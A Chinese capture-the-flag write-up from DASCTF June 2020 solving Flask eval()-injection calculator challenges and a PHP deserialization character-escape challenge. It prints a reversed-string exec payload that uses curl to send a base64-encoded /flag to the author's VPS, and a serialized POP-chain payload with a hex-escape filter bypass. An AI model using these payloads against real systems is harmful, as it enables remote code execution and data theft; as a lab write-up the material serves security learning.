DASCTF2020.6月赛

因为和第五空间连着,然后昨天下午又去打了一场AWD,感觉身体掏空,就认真打了DASCTF(咕咕咕),剩下的题目等有机会再复现


简单的计算器-1

考点:python eval()代码注入,命令执行结果外带

img

访问Source可以看到源码:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import black_list,create
import os
 
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
 
## flag is in /flag try to get it
 
@app.route('/', methods=['GET', 'POST'])
def index():
 
    def filter(string):#这里是下午暗改过的,本来只过滤了or
        for black_word in black_list:
            if black_word in string:
                return "hack"
        return string
 
    if request.method == 'POST':
        input = request.form['input']
        create_question = create()
        input_question = session.get('question')
        session['question'] = create_question
        if input_question==None:
            return render_template('index.html', answer="Invalid session please try again!", question=create_question)
        if filter(input)=="hack":
            return render_template('index.html', answer="hack", question=create_question)
        try:
            calc_result = str((eval(input_question + "=" + str(input))))
            if calc_result == 'True':
                result = "Congratulations"
            elif calc_result == 'False':
                result = "Error"
            else:
                result = "Invalid"
        except:
            result = "Invalid"
        return render_template('index.html', answer=result,question=create_question)
 
    if request.method == 'GET':
        create_question = create()
        session['question'] = create_question
        return render_template('index.html',question=create_question)
 
@app.route('/source')
def source():
        return open("app.py", "r").read()
 
if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=False)

可以看到,31行那里把我们的结果和一个表达式进行简单的字符串拼接之后eval直接执行,这就给了我们命令注入的机会;

我们来本地试一下:

#python3
import os
 
input_question = '100000='
input = "1,os.system(\'dir\')"
 
calc_result = str((eval(input_question + "=" + str(input))))
print(calc_result)

我们发现dir命令确实被执行了,但是题目没有回显,我们就只能用其他方式外带到我们的VPS上面去

那么剩下的就只有绕waf了

fuzz了一下,sys,import,os这些关键词过滤了,但是exec这些没有被过滤

可以考虑字符串拼接或者逆读绕过,这里用的是逆读:

import os
 
str = '''os.popen("curl ip:端口/?a=`cat /flag|base64`").read()'''#因为sys倒过来也是sys,所以换成popen
print(str[::-1])
#exec(')(daer.)"`46esab|galf/ tac`=a?/0058:4.751.011.95 lruc"(nepop.so'[::-1])

发送payload,监听VPS相应端口,得到flag;

简单的计算器-2

考点:???

看了下源码:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import black_list,create
import os
 
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
 
## flag is in /flag try to get it
 
@app.route('/', methods=['GET', 'POST'])
def index():
 
    def filter(string):
        for black_word in black_list:
            if black_word in string:
                return "hack"
        return string
 
    if request.method == 'POST':
        input = request.form['input']
        create_question = create()
        input_question = session.get('question')
        session['question'] = create_question
        if input_question == None:
            return render_template('index.html', answer="Invalid session please try again!", question=create_question)
        if filter(input)=="hack":
            return render_template('index.html', answer="hack", question=create_question)
        calc_str = input_question + "=" + str(input)
        try:
            calc_result = str((eval(calc_str)))
        except Exception as ex:
            calc_result = "Invalid"
        return render_template('index.html', answer=calc_result,question=create_question)
 
    if request.method == 'GET':
        create_question = create()
        session['question'] = create_question
        return render_template('index.html',question=create_question)
 
@app.route('/source')
def source():
        return open("app.py", "r").read()
 
if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=False)

大同小异;

用上一道题的payload直接秒了……啊……这……

img

可能本来上一道题的不需要绕waf,但是后来暗改了之后改成一道题了。。。

后来和学长交流,说是可以用沙箱逃逸来做,可能沙箱逃逸才是想考的。

phpuns

考点:反序列化字符逃逸,pop链,16进制绕过关键字

直接给了源码的附件:DASCTF_2020.6_反序列化_source

先构造pop链;

POP链利用

很明显class.php里面的类是给我们利用的,构造很简单:

$pop = new Hacker_A;
$pop->c2e38 = new Hacker_B;
$pop->c2e38->c2e38 = new Hacker_C;

生成了:

O:8:"Hacker_A":1:{s:5:"c2e38";O:8:"Hacker_B":1:{s:5:"c2e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}
#一共103个字符

反序列化字符逃逸

我们可以看到index.php第29行调用了add函数:

$_SESSION['info'] = add(serialize($user));

然后info.php第6行调用了reduce函数:

$tmp = unserialize(reduce($_SESSION['info']));

我们去看functions.php里面这两个函数的定义:

function add($data)
{
    $data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);
    return $data;
}
 
function reduce($data)
{
    $data = str_replace('\0*\0', chr(0).'*'.chr(0), $data);
    return $data;
}

chr(0).'*'.chr(0) 也就是 N*N (N表示null)占三个字符,而 \0*\0 占五个字符,当我们的 \0*\0 被替换为 N*N 之后就少了两个字符,于是我们就能在反序列化中吞掉后面两个字符;(参考本站:安恒4月赛反序列化字符逃逸

如果我们直接把pop链构造的结果传给password的话,序列化的结果是这样:

s:8:"username";s:5:"input";s:8:"password";s:103:"O:8:"Hacker_A":1:{s:5:"c2e38";O:8:"Hacker_B":1:{s:5:"c2e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}"

我们这103个字符被因为s:103被当作字符串处理,于是我们利用吞字符,把 ";s:8:"password";s:103:" (24个字符,12组 \0*\0 )这一段吞掉,然后把下面的传给password:

";s:8:"password";O:8:"Hacker_A":1:{s:5:"c2e38";O:8:"Hacker_B":1:{s:5:"c2e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}

那么我们就成功的就行了逃逸;

不过,在反序列化之前,info.php里面第5行有: check(reduce($_SESSION['info']));

check函数会检查我们的字符里面是否有 c2e38 ,所以用S:5:"\63\32\65\33\38"来绕过,和用S+\00来绕过chr(0)是一样的,因为S大写,后面字符串里就可以解析hex了

updatedupdated2022-10-302022-10-30